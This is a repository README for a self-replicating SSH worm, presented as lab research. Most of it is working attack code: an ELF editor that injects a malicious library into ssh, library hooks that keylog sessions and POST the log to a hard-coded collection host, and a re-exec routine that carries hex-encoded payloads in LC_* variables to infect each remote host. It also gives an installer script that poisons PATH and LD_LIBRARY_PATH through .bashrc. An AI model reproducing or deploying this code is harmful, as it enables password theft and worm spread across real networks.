Skip to content
This repository was archived by the owner on Sep 17, 2026. It is now read-only.

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

Wormable SSH

Author: @nomnomheapnom


What this is

This repo shows how the ssh client can be turned into a program that copies itself to every machine it touches.

ssh is the tool people use to log into remote computers over a network. The trick used here works in three parts:

  1. Edit the ssh program file. The copy of ssh the victim runs is changed in one small place, so that ssh loads a library of our code every time it starts.
  2. Record what the user does. That library watches everything the user types and everything ssh prints on the screen, saves it to a log file, and sends the log to a machine we control over HTTP.
  3. Spread to the next machine. When the victim logs into another computer, ssh carries copies of our two programs inside environment variables and rebuilds them on the far end. That computer now runs the same infected ssh, so it spreads the same way to the next machine the user logs into, and so on.

All the claims in this file were tested against a real, old, unpatched ssh client running on an isolated 32-bit training machine. The evidence is in Testing and results.


Table of contents

  1. How it works at a glance
  2. Background concepts
  3. The three files
  4. Part 1: Changing the ssh program file
  5. Part 2: The library that watches the keyboard
  6. Part 3: Sending the recording over the internet
  7. Part 4: Installing it locally
  8. Part 5: Spreading to remote machines
  9. The full infection cycle
  10. Build and run
  11. What every piece of the code does
  12. Portability notes
  13. Limitations
  14. Testing and results

1. How it works at a glance

The main idea is simple: when a victim runs the changed ssh program and logs into another computer, the program installs itself on that other computer too.

Three old and well-known techniques are joined together:

  1. ELF file editing. The file format that Linux programs are stored in is edited so the program loads a library we wrote.
  2. Library hooking. A few functions inside the system library are replaced with our own versions that do the same job, plus a little extra.
  3. A convenient file transfer. A program is carried inside an environment variable, so it can travel to a remote computer over ssh even when that computer has no compiler.

The third piece is the newest idea here and it is explained in depth in Part 5.


2. Background concepts

These four ideas show up constantly below. Understanding them once makes the whole paper easy.

2.1 Shared libraries and DT_NEEDED

Most Linux programs are not self-contained. They use shared libraries, extra files full of common functions, loaded into memory alongside the program when it starts. The program's binary file carries a list of the libraries it needs. Each item in that list is called a DT_NEEDED entry and it simply names a library file, for example libc.so.6.

2.2 The DT_DEBUG slot

Compilers also add a dynamic entry called DT_DEBUG to almost every program, even though the program itself never uses it. It is a spare, wasted slot that exists in nearly every ELF binary. That slot is the doorway the whole trick walks through.

2.3 The loader

The dynamic loader (also called the dynamic linker, typically ld.so) is the program that reads the DT_NEEDED entries at start-up, finds each library, and loads it. When it runs, ssh behaves this way:

  1. Read the DT_NEEDED list.
  2. For each name, search for the file. The search checks LD_LIBRARY_PATH (if set), then the system cache, then the standard folders.
  3. Load each found library in list order.

Because libraries load one after another, a library placed earlier in the list is available to intercept functions before later libraries even load. Getting our library early in that list is the goal of Part 1.

2.4 Environment variables and ssh's -SendEnv / AcceptEnv

An environment variable is a small piece of text data that a parent process hands to a child process when the child starts. Every process inherits the environment of the process that started it.

OpenSSH has two related settings:

  • AcceptEnv (server side): a list of patterns. The ssh server admits only those environment variables, sent by the client, that match this list.
  • SendEnv (client side): a list of environment variables the ssh client forwards to the server after login.

The standard, near-universal default on servers is:

AcceptEnv LANG LC_*

Everything starting with LC_ is allowed. This matters because our payload variables are deliberately named LC_BIN1 and LC_BIN2, so they match the LC_* pattern and pass straight through an unchanged, stock server configuration. Testing confirmed this live.


3. The three files

src/
├── dynamicorrupt.c     # edits the ELF dynamic section of a copy of ssh
├── c.so.6.c            # the malicious library: keylog + upload + self-spread
└── install.sh          # builds everything, corrupts local ssh, poisons PATH

dynamicorrupt.c

A small command line tool. It takes a copy of a binary (for example ssh), finds the dynamic section, locates the unused DT_DEBUG slot, converts it into a DT_NEEDED entry, and points that entry at c.so.6 (a substring of the already-present name libc.so.6). It works on both 32-bit and 64-bit binaries.

c.so.6.c

A shared library named c.so.6, exactly the tail of the genuine libc.so.6 name. When ssh loads it, three things happen inside:

  1. Keylog. It records the user's typed input and ssh's output.
  2. Upload. When the ssh session ends, it POSTs the log to a remote receiver.
  3. Spread. Its constructor re-executes ssh with arguments that install the infection on the remote machine the victim just logged into.

install.sh

A script that compiles the two C files, hex-encodes the binaries, corrupts a private copy of ssh, places it in $HOME/.bin, and points PATH and LD_LIBRARY_PATH at that folder.


4. Part 1: Changing the ssh program file

4.1 The core trick

The method is a well-known ELF dynamic-section edit, documented in the Phrack 61-8 article more than twenty years ago. It still works because most shipped programs still lack the protection that would stop it.

You need four facts:

  1. Every dynamically linked program lists its libraries as DT_NEEDED entries.
  2. Compilers also emit a DT_DEBUG entry, unused by almost every program. A spare slot.
  3. That spare slot can be turned into an extra DT_NEEDED entry.
  4. A DT_NEEDED entry points at a string naming a library. Instead of adding new text to the file (hard to do without growing it), the entry can point at a substring of a library name that already exists. ssh already lists libc.so.6, so our new entry points at just c.so.6, which is the tail of that string. The loader then searches for a file named c.so.6, finds ours (because we put it where the loader will look), and loads it before the real libc, whose own entry is untouched.

4.2 Step 1: Find the dynamic section

Every ELF program has a list of dynamic entries. This step locates it and counts the entries.

The released tool is class-agnostic. 32-bit and 64-bit ELF files use slightly different layouts, so the tool reads the EI_CLASS byte at the start of the file, picks the right layout, and reads all numbers through memcpy with correct byte order. One source file, both kinds of programs:

const elfabi *a = (elf_buff[EI_CLASS] == ELFCLASS64) ? &abi64 : &abi32;

size_t e_phoff = (size_t)rdword(a, elf_buff + a->ehdr_phoff);
size_t e_phnum = rd32(elf_buff + a->ehdr_phnum) & 0xFFFF;

const uint8_t *dyn_ph = find_phdr(a, elf_buff, size, e_phoff, e_phnum, PT_DYNAMIC);
size_t dyn_off    = (size_t)rdword(a, dyn_ph + a->phdr_poff);
size_t n_entries  = rdword(a, dyn_ph + a->phdr_pfilesz) / a->dyn_size;

4.3 Step 2: Find the string table

DT_NEEDED entries do not store names directly. They store a number that points into the string table .dynstr, where the real names live. So the tool must locate .dynstr.

A useful detail: the tool finds it without touching the section headers. It reads the DT_STRTAB entry (a memory address), then converts that address to a file position by walking the PT_LOAD program headers, which describe what gets loaded where. That means the tool works even on stripped binaries where the section header table has been removed:

for (size_t i = 0; i < n_entries; i++)
    if (rdword(a, dyn + a->dyn_tag) == DT_STRTAB)
        dynstr_vaddr = rdword(a, dyn + a->dyn_val);

size_t dynstr_off = vaddr_to_offset(a, elf_buff, size, e_phoff, e_phnum, dynstr_vaddr);
char *dynstr_base = (char *)elf_buff + dynstr_off;

4.4 Step 3: Find the DT_DEBUG slot and the DT_NEEDED entry for libc

The tool scans the dynamic entries for our spare slot (DT_DEBUG) and for the existing DT_NEEDED entry that names the library whose string we want to borrow (target_lib, here libc.so.6):

for (int i = 0; i < n_entries; i++)
{
    if (dyn_base[i].d_tag == DT_NEEDED &&
        !strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib))
        dt_needed_index = i;

    if (dyn_base[i].d_tag == DT_DEBUG)
        dt_debug_index = i;
}

4.5 Step 4: Do the swap

The DT_DEBUG tag is changed to DT_NEEDED. If the spare slot sits after the real libc entry in the file, the two are swapped so our library is requested before libc. Loading order matters: our library must load early enough to intercept the functions it replaces.

+3 is the offset to the substring: in libc.so.6, the substring c.so.6 starts at the ninth character, i.e. three characters after lib:

dyn_base[dt_debug_index].d_tag = DT_NEEDED;

if (dt_debug_index > dt_needed_index) {
    dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val;
    dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3;
} else
    dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3;

All of this happens on a copy of the program in memory; the finished copy is then written to disk.


5. Part 2: The library that watches the keyboard

5.1 What the library must do

Our library has to act like part of libc, because every call ssh makes to write(), read(), and close() will now hit our code first. So the library must:

  • Replace a few libc functions with its own versions, and
  • Forward every other call to the real implementations.

To forward, the library finds the real libc at load time with dlopen(), and looks up the addresses of the real functions with dlsym(). The path to real libc is worked out and baked in at build time:

cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \
  -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')

5.2 The constructor

A constructor is a function that runs automatically when a shared library is loaded, before the program's own main(). Ours looks up the real libc functions and opens the log file:

__attribute__((constructor)) void _initf(int ac, char **av)
{
    handle = dlopen(LIBC_PATH, RTLD_LAZY);
    real_close = (void *)dlsym(handle, "close");
    real_write = (void *)dlsym(handle, "write");
    real_read  = (void *)dlsym(handle, "read");
    log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU);
    log_fd = dup2(log_fd, 42);
}

Two small details matter:

  • The log is opened with O_APPEND | O_CREAT | O_RDWR and mode 0700, so each run appends and the file is private to the user.
  • The handle is duplicated onto the unusual number 42. ssh closes almost every file handle during its own start-up sequence. A high, odd number like 42 keeps the log handle from being closed while ssh tidies up.

5.3 The three hooks

close() is intercepted for one reason only: to stop ssh from closing our log handle. Anything else passes straight through:

int close(int fd)
{
    if (fd == log_fd)
        return 0;
    return real_close(fd);
}

read() and write() are called constantly by ssh for input and output. Both call the real functions first (so ssh keeps working as normal), then copy the printable bytes into the log. Notice the logging happens through a raw syscall() rather than through libc's write(). That deliberately bypasses our own hook, otherwise every logged line would re-enter our logging code forever, an endless loop:

ssize_t write(int fd, const void *buf, size_t count)
{
    int ret = (real_write(fd, buf, count));
    syscall(__NR_write, log_fd, "[write]:", 8);
    for (int i = 0; i < ret; i++)
        if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n')
            syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
    syscall(__NR_write, log_fd, "\n", 1);
    return ret;
}

ssize_t read(int fd, void *buf, size_t count)
{
    int ret = (real_read(fd, buf, count));
    syscall(__NR_write, log_fd, "[read]:", 7);
    for (int i = 0; i < ret; i++)
        if (isprint(((char *)buf)[i]))
            syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
    syscall(__NR_write, log_fd, "\n", 1);
    return ret;
}

The logging is intentionally the simplest possible version: it records only printable text, with no error handling. That is enough to prove the mechanism; a production version would do a much neater job.


6. Part 3: Sending the recording over the internet

A log that stays on the infected machine is useless, because it dies together with the session. The log must reach a machine we control. That needs two facilities:

  1. A way to send the log. Here, an HTTP POST request to a small receiver that just saves whatever arrives.
  2. A trigger. Here, the library destructor, a function that runs automatically when the library is unloaded, right as ssh exits.

6.1 Building the request

The request is assembled with a raw network socket and a multipart/form-data body, the same style a browser uses when uploading a file to a website. The log is streamed through the sendfile() system call, so the whole file never has to sit in memory at once:

void do_post(void)
{
    host = "10.0.2.2";
    sock_fd = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(atoi(port));
    addr.sin_addr.s_addr = inet_addr(host);

    if (sock_fd < 0)
        return;
    if (connect(sock_fd, (struct sockaddr *)&addr,
                sizeof(struct sockaddr)) < 0)
    {
        close(sock_fd);
        return;
    }

    size += log_statbuf.st_size;

    sprintf(capsule,
        "POST http://%s:%s/%s HTTP/1.1\r\n"
        "Host: %s:%s\r\n"
        "Accept: */*\r\n"
        "Content-Type: multipart/form-data; "
        "boundary=------------------------4ae6d1de929f9e46\r\n"
        "Content-Length: %d\r\n"
        "\r\n"
        "--------------------------4ae6d1de929f9e46\r\n"
        "Content-Disposition: form-data; name=\"vxlog\"; "
        "filename=\"vxlog.txt\"\r\n"
        "Content-Type: application/octet-stream\r\n"
        "\n",
        host, port, resource, host, port, size);

    real_write(sock_fd, capsule, strlen(capsule));
    sendfile(sock_fd, log_fd, 0, log_statbuf.st_size);
    real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48);
    close(sock_fd);
}

sendfile() is not available on every system; swapping it for a simple copy loop is trivial.

6.2 The destructor

The destructor mirrors the constructor: it rewinds the log to the start, works out its size, sends it, then closes and deletes the file:

__attribute__((destructor)) void _finif(void)
{
    lseek(log_fd, 0, SEEK_SET);
    fstat(log_fd, &log_statbuf);
    do_post();
    syscall(__NR_close, log_fd);
    unlink("/tmp/.sshlog");
}

At this point the changed ssh records what the user types and sends the recording to a machine we control. That is a working, if basic, ssh keylogger. The worm behaviour is the subject of Part 5.


7. Part 4: Installing it locally

install.sh builds both tools and installs them for a local user. It makes no effort to hide its files; the only goal is to ensure the next ssh command runs the changed copy instead of the normal one.

cc -s -o dynamicorrupt dynamicorrupt.c
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \
  -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')

xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex
xxd -plain c.so.6 | tr -d \\n > c.so.6.hex

rm -rf $HOME/.bin
mkdir $HOME/.bin/
cp *.hex $HOME/.bin/
cp $(which ssh) $HOME/.bin/
./dynamicorrupt $HOME/.bin/ssh
cp c.so.6 $HOME/.bin/

echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc
echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc

export PATH=$HOME/.bin:$PATH
export LD_LIBRARY_PATH=$HOME/.bin/

Four jobs, in order:

  1. Build. Compile dynamicorrupt and c.so.6. LIBC_PATH is derived automatically from the libc the real ssh depends on.
  2. Convert to hex. Turn both binaries into plain hexadecimal text. Not needed locally yet, but this is the exact form used to carry them over the network in Part 5. Hex is chosen because it is pure text: it can live inside an environment variable and be printed and piped on the far end.
  3. Install. Copy the real ssh into $HOME/.bin, run dynamicorrupt on that copy, and drop c.so.6 beside it.
  4. Change the search order. Update PATH and LD_LIBRARY_PATH, both in .bashrc (for future shells) and in the current shell. From then on:
    • ssh means our changed copy, and
    • the loader finds our c.so.6 before the real libc.so.6.

After the script runs once, the victim's ssh records and uploads. It does not spread yet; that is Part 5.


8. Part 5: Spreading to remote machines

Self-spreading combines two ideas:

  • a re-exec trick, where the program quietly restarts itself with different arguments, and
  • the environment-variable upload channel, where payloads ride in variable names that ssh's -SendEnv forwards to the far end.

8.1 The re-exec trick: changing the program's arguments mid-flight

re-exec means "the program runs itself again." On its own that sounds pointless; the power comes from the ability to change the arguments the program was started with. We restart ssh with extra arguments that make it install our code on the remote host.

The constructor that does this is below. The key guard is an environment variable called VXCOOL, which prevents the worst catastrophe: the program endlessly restarting itself (infinite recursion):

__attribute__((constructor)) int change_args(int argc, char **argv, char **envp)
{
    int env_size = 0;

    if (getenv("VXCOOL") == NULL)          /* not yet re-exec'ed */
    {
        char **envar = envp;
        while (*envar++ != NULL)
            env_size++;

        /* copy old envp + VXCOOL flag + LC_BIN1 + LC_BIN2 + NULL */
        char **new_envp = malloc(sizeof(char *) * (env_size + 4));
        for (int i = 0; i < env_size; i++)
            new_envp[i] = strdup(envp[i]);

        new_envp[env_size]     = "VXCOOL=true";
        new_envp[env_size + 1] = dynamicorrupt_envar();
        new_envp[env_size + 2] = lcso_envar();
        new_envp[env_size + 3] = NULL;

        /* old argv + "-t" + "-SendEnv" + <payload> + NULL */
        char **new_argv = malloc(sizeof(char *) * (argc + 4));
        for (int i = 0; i < argc; i++)
            new_argv[i] = strdup(argv[i]);

        new_argv[argc]     = "-t";
        new_argv[argc + 1] = "-SendEnv";
        new_argv[argc + 2] =
        "rm -rf $HOME/.bin;"
        "mkdir $HOME/.bin/;"
        "cp $(which ssh) $HOME/.bin/;"
        "printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;"
        "cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;"
        "chmod +x $HOME/.bin/dynamicorrupt;"
        "$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;"
        "printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;"
        "cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;"
        "chmod +x $HOME/.bin/c.so.6;"
        "echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;"
        "echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;"
        "export PATH=$HOME/.bin:$PATH;"
        "export LD_LIBRARY_PATH=$HOME/.bin/;"
        "$SHELL -i;";
        new_argv[argc + 3] = NULL;

        execve("/proc/self/exe", new_argv, new_envp);
    }
    else
        unsetenv("VXCOOL");                /* second run: proceed normally */

    return 0;
}

The flow, step by step:

  • This is a constructor, so it runs before ssh's own code and before the rest of our library (the keylog setup).
  • First run (no VXCOOL): it builds a new environment and a new argument list, then calls execve("/proc/self/exe", ...). That is, it restarts the same program file with the new arguments. It adds VXCOOL=true, so the fresh copy knows this situation has already been handled.
  • Second run (VXCOOL set): it removes the flag with unsetenv() and returns without doing anything special. ssh now starts normally, but with the extra arguments we gave it.

The extra arguments are -t (ask the remote side for a usable screen, a pseudo-terminal, without which the remote command cannot run) and -SendEnv (forward the payload variables). Both are ordinary, legitimate ssh options.

8.2 The environment-variable upload channel

The payloads travel inside environment variables read from $HOME/.bin. This function builds the LC_BIN2 variable containing the library as hex text:

char *lcso_envar(void)
{
    char *env_lcso = NULL;
    struct stat stat_dynamicorrupt;
    char path[128];
    sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME"));
    int fd = open(path, O_RDONLY);
    if (fd < 0)
        return NULL;
    fstat(fd, &stat_dynamicorrupt);
    env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2="));
    strcpy(env_lcso, "LC_BIN2=");
    syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size);
    syscall(__NR_close, fd);
    return env_lcso;
}

It produces LC_BIN2=<hex of c.so.6>. LC_BIN1 is built the same way and carries dynamicorrupt.

Why LC_* names and not anything else. An ssh server only admits variables matching its AcceptEnv list. The stock, near-universal default is AcceptEnv LANG LC_*. Because the payload variables are named LC_BIN1/LC_BIN2, they match the LC_* pattern and are accepted without any server-side change. Verified live during testing (see results).

Why no LD_PRELOAD over the network. By the time ssh runs our remote command on the far machine, that machine's ssh has already loaded its libraries, so pushing environment-based preloading would be too late and would not touch the next session. Instead the far end receives the programmes as hex text, decodes them with xxd -r, and runs dynamicorrupt locally. That is the same local-install sequence from Part 4, but with no compiler needed.

8.3 Why the hex form

Sending source code and compiling remotely is one option, and the test machine did have a compiler, so it would have worked there. But the hex-blob form is strictly stronger: it keeps working on machines with no compiler at all, such as minimal server installs. The payload travels as a ready-made binary, encoded as text, and is reconstructed on arrival.


9. The full infection cycle

  1. The victim runs the changed ssh. The change_args constructor fires, the program restarts itself with -t -SendEnv, and ships LC_BIN1/LC_BIN2.
  2. After the victim authenticates, ssh runs the payload on the remote machine: it reconstructs dynamicorrupt and c.so.6, corrupts a copy of the remote ssh, and points the remote user's PATH/LD_LIBRARY_PATH at the changed copies.
  3. The next time that remote user runs ssh to go somewhere else, they run the changed client, which records, uploads, and spreads again.
  4. The cycle repeats. Every new hop needs no compiler, because the payload always travels as ready-made hex text.
victim ssh -t -SendEnv -------> remote A  (payload installed here)
        ^                               |
        |                               |
        +---------- keylog upload ------+ remote A user ssh -> remote B (repeats)

10. Build and run

Prerequisites

  • A C toolchain (cc / gcc).
  • xxd (part of vim-common) for hex encoding and decoding.
  • OpenSSH client and a target ssh server.
  • An isolated, intentionally vulnerable test environment. Nothing in this repo is configured to be invisible or safe to run on production machines.

Build the two binaries

cd src

cc -O2 -Wall -Wextra -Werror -o dynamicorrupt dynamicorrupt.c
cc -O2 -Wall -Wextra -Werror -shared -fPIC -o c.so.6 c.so.6.c -ldl \
   -DLIBC_PATH="$(ldd "$(which ssh)" | grep libc.so | awk '{print "\""$3"\""}')"

Use the corruptor directly

./dynamicorrupt <input-binary> [<output> [<libc-name>]]

Examples:

# corrupt in place (writes back over the input copy)
./dynamicorrupt /path/to/copy/of/ssh

# write the result to a different file
./dynamicorrupt /usr/bin/ssh /tmp/out ssh                              # defaults
./dynamicorrupt /usr/bin/ssh /tmp/out libc.so.6                        # explicit

The name argument lets you borrow a different library string than libc.so.6; +3 is tuned for libc.so.6, so a different length requires adjusting the offset.

Run the installer

cd src
bash install.sh

install.sh compiles everything, corrupts a private copy of ssh in $HOME/.bin, and poisons the shell search path. Check the result with:

ldd ~/.bin/ssh
readelf -d ~/.bin/ssh | grep NEEDED

Set up the receiver

c.so.6 posts the log to 10.0.2.2:9999/upload.php by default. Both the host and the port are compile-time constants in c.so.6.c, so edit them (and ideally replace sendfile() and the multipart body) to point at a receiver you control. A trivial PHP sink that saves uploaded files to disk is enough to observe the exfil.


11. What every piece of the code does

File Function What it does
dynamicorrupt.c main Parses input/output/library name, loads the whole file, dispatches to the ABI layer
dynamicorrupt.c find_phdr Walks program headers to find PT_DYNAMIC and PT_LOAD
dynamicorrupt.c vaddr_to_offset Converts a virtual address to a file offset (no section headers needed)
dynamicorrupt.c the swap block Turns DT_DEBUG into DT_NEEDED and points it at c.so.6
c.so.6.c _initf Constructor: dlopen real libc, resolve real functions, open log on fd 42
c.so.6.c close Hook: never let ssh close fd 42
c.so.6.c read / write Hooks: do the real work, then log printable bytes via raw syscalls
c.so.6.c do_post Sends the log via HTTP POST using sendfile
c.so.6.c _finif Destructor: stat, post, close, unlink the log
c.so.6.c change_args Constructor: re-exec ssh with -t -SendEnv and the payload variables
c.so.6.c dynamicorrupt_envar / lcso_envar Build LC_BIN1 / LC_BIN2 from the hex files
install.sh whole script Build, hex-encode, corrupt, install, poison PATH

12. Portability notes

  • 32-bit vs 64-bit. The corruptor is class-agnostic: it auto-detects EI_CLASS and handles both ELF32 and ELF64. Both paths were exercised during testing; see Results.
  • Library names. The +3 substring offset is correct for libc.so.6. Other distributions or other target libraries may need a different offset. Always verify the resulting load order with ldd.
  • sendfile(). Not portable everywhere; a simple copy loop works as a substitute.
  • Server AcceptEnv. LC_* is the default on widely used distributions and was confirmed on the test box. A locked-down server that sets AcceptEnv to nothing would still receive the variables (harmlessly) but would not forward them, and the channel would silently fail.

13. Limitations

  • No concealment. Nothing hides the log file, the $HOME/.bin folder, or the edited PATH. A determined examiner will spot all of it.
  • Rudimentary logging. Only printable characters are recorded; no session formatting, no error handling, no concurrency support.
  • Compile-time constants. The C2 address, port, and resource are baked in. A production variant would need a real transport channel and runtime configuration.
  • Single-hop assumptions. The arrangement assumes one user and one ssh process at a time; concurrent sessions would contend over fd 42.
  • Bootstrap needed. The worm cannot break into a machine on its own. The test box was reached through a separate, well-known vulnerability to obtain the initial shell from which the changed client was installed for the first time.

14. Testing and results

All findings were measured on one isolated test machine on a private, sealed-off network. The machine was an intentionally vulnerable, antiquated 32-bit training system running an outdated, unpatched ssh client. Only that one machine was ever scanned.

How it was tested. The preconditions the trick depends on, and the delivery assumptions, were verified against the real, unpatched binary rather than a synthetic copy. The full remote attack chain was not run against the live network; each load-bearing claim was instead confirmed with observed evidence.

14.1 The test environment

Thing Value
Type intentionally vulnerable training machine
Kernel a 2008-era Linux server kernel
Architecture i686 (32-bit)
ssh client OpenSSH_4.7p1 Debian-8ubuntu1, OpenSSL 0.9.8g
libc libc.so.6 at /lib/tls/i686/cmov/libc.so.6
Access administrator shell through a well-known remote backdoor service

14.2 Results on the real ssh program

The ELF file has what the trick needs. Confirmed with readelf on the real /usr/bin/ssh:

$ readelf -h /usr/bin/ssh
  Class:   ELF32
  Machine: Intel 80386

$ readelf -d /usr/bin/ssh | grep -E "NEEDED|DEBUG"
  0x00000001 (NEEDED)  Shared library: [libc.so.6]
  0x00000015 (DEBUG)   0x0                 # DT_DEBUG present, unused
  • A DT_DEBUG entry is present (value 0x0) even though the program never asks for it. The core assumption holds on a real, twenty-year-old binary.
  • libc.so.6 is present in DT_NEEDED, so the substring trick (+3 to c.so.6) applies without adding any new text.
  • No GNU_RELRO protection and an RW (non-executable) stack segment mean nothing blocks the rewrite.

The environment-variable channel works. Confirmed live against the stock server settings:

$ grep AcceptEnv /etc/ssh/sshd_config
AcceptEnv LANG LC_*

$ grep SendEnv /etc/ssh/ssh_config
    SendEnv LANG LC_*

LC_BIN1/LC_BIN2 fall inside the LC_* pattern, so they are forwarded without any server-side change.

The compiler question. The box ships an old gcc toolchain, so both delivery methods (build-on-target and hex blob) were viable. The hex-blob method is the stronger assumption because it also works where no compiler exists.

14.3 The 32-bit/64-bit portability problem, found and fixed

Testing exposed a real shortcoming: the test machine's ssh is 32-bit (ELF32), while the original dynamicorrupt.c only understood the 64-bit (Elf64_*) layout. The tool could not even read the target.

That is exactly why the released version is class-agnostic. It reads the EI_CLASS byte, picks the right layout, and handles both kinds. Both paths were exercised on copies:

$ ./dynamicorrupt /usr/bin/ssh  /tmp/out         # ELF64 host binary
[dynamicorrupt] libc.so.6 class=ELF64 needed[3]=libc.so.6
                 debug[15]: injected substring dependency at +3
$ readelf -d /tmp/out | grep NEEDED
  ... NEEDED [libz.so.1]
  ... NEEDED [c.so.6]        # <- our forged dep, placed before libc.so.6
  ... NEEDED [libc.so.6]

$ ./dynamicorrupt /usr/bin/ssh  /tmp/out         # ELF32 laboratory client
[dynamicorrupt] libc.so.6 class=ELF32 needed[0]=libc.so.6
                 debug[12]: injected substring dependency at +3
$ readelf -d /tmp/out | grep NEEDED
  ... NEEDED [c.so.6]
  ... NEEDED [libc.so.6]

Both came out loadable: ldd resolves c.so.6 correctly from LD_LIBRARY_PATH.

14.4 Conclusions

  1. The twenty-year-old technique still works against a real, unpatched ELF binary.
  2. The 32-bit/64-bit limitation found in testing is fixed: one source builds a corruptor that handles both ELF32 and ELF64.
  3. The LC_* default on stock ssh servers is the confirmed enabler of the environment-variable channel; the LC_BIN* naming is deliberate, not coincidental.
  4. A worm of this kind needs an initial foothold. In the lab that came from a separate, well-known vulnerability that yielded the administrator shell used to install the changed client for the first time.

About

Wormable SSH - self-replicating OpenSSH client research

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages